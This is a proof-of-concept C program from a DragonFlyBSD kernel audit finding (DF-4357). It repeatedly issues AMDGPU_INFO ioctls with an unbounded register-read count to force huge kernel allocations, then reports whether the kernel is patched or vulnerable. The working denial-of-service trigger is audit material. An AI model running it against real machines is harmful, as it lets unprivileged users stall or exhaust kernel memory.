⬢ DragonFlyBSD Kernel Audit
DF-4357 / trigger.c
← back to finding ↓ download raw
/*
 * DF-4357 trigger: AMDGPU_INFO_READ_MMR_REG with unbounded count
 * (amdgpu_kms.c missing upstream `count > 128` cap)
 *
 * Floods the info ioctl with read_mmr_reg.count = 0x8000000 (128 Mi dwords
 * -> 512 MiB kmalloc_array) from an unprivileged render client. On a
 * vulnerable kernel each call makes the allocator try a large kernel
 * kmalloc before the register-allowlist loop bails at the first disallowed
 * offset -> kernel memory pressure / allocator stalls (M_WAITOK sleeps).
 * A patched kernel (count > 128 -> -EINVAL) rejects instantly.
 *
 * Build: cc -O2 -o trigger trigger.c   (needs drm/amdgpu_drm.h UAPI)
 * Run:   ./trigger /dev/dri/renderD128   (requires an AMD GPU)
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <errno.h>

#include <drm/amdgpu_drm.h>

#define COUNT 0x08000000u	/* 128Mi dwords => 512MiB requested kmalloc */

int main(int argc, char **argv)
{
	const char *node = argc > 1 ? argv[1] : "/dev/dri/renderD128";
	struct drm_amdgpu_info info;
	int fd, i;

	fd = open(node, O_RDWR | O_CLOEXEC);
	if (fd < 0) {
		fprintf(stderr, "open %s: %s (no AMD GPU / no render node)\n",
			node, strerror(errno));
		return 2;
	}

	for (i = 0; i < 64; i++) {
		memset(&info, 0, sizeof(info));
		info.query = AMDGPU_INFO_READ_MMR_REG;
		info.read_mmr_reg.count = COUNT;
		info.read_mmr_reg.dword_offset = 0;	/* disallowed on purpose */
		info.return_pointer = (uintptr_t)NULL + 0;	/* unused: read bails first */
		info.return_size = 4;
		errno = 0;
		if (ioctl(fd, DRM_IOCTL_AMDGPU_INFO, &info) == 0)
			printf("iter %d: ioctl OK (unexpected)\n", i);
		else if (errno == EINVAL)
			printf("iter %d: EINVAL (kernel has the count cap -> PATCHED)\n", i);
		else if (errno == ENOMEM)
			printf("iter %d: ENOMEM (unbounded kmalloc attempted -> VULNERABLE)\n", i);
		else if (errno == EFAULT)
			printf("iter %d: EFAULT after alloc loop bail (VULNERABLE, alloc done)\n", i);
		else
			printf("iter %d: errno=%d\n", i, errno);
	}
	close(fd);
	return 0;
}